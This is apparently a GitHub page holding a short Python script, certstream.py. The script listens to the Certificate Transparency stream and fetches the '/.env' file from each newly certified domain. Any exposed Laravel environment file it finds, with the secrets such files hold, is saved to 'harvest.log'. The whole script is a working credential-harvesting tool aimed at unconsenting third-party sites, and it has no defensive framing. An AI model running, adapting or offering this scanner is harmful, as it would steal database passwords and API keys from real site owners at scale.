-
Notifications
You must be signed in to change notification settings - Fork 1
/
certstream.py
31 lines (25 loc) · 1.04 KB
/
certstream.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import certstream
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
executor = ThreadPoolExecutor(max_workers=15)
def scanHost(domain):
try:
url = "http://" + domain + "/.env"
print(url)
response = requests.get(url=url, timeout=0.5)
if 'APP_ENV' in response.text:
print('Laravel noobs detected !!')
print(response.text)
with open("harvest.log", "a") as file:
file.write(url + '\n' + response.text + '\n=================================\n')
except:
return None
def print_callback(message, context):
domain = message['data']['leaf_cert']['all_domains'][0]
if '*' not in domain:
executor.submit(scanHost, domain)
def on_open(instance):
print("Connection successfully established!")
def on_error(instance, exception):
print("Exception in CertStreamClient! -> {}".format(exception))
certstream.listen_for_events(print_callback, on_open=on_open, on_error=on_error, url='wss://certstream.calidog.io/')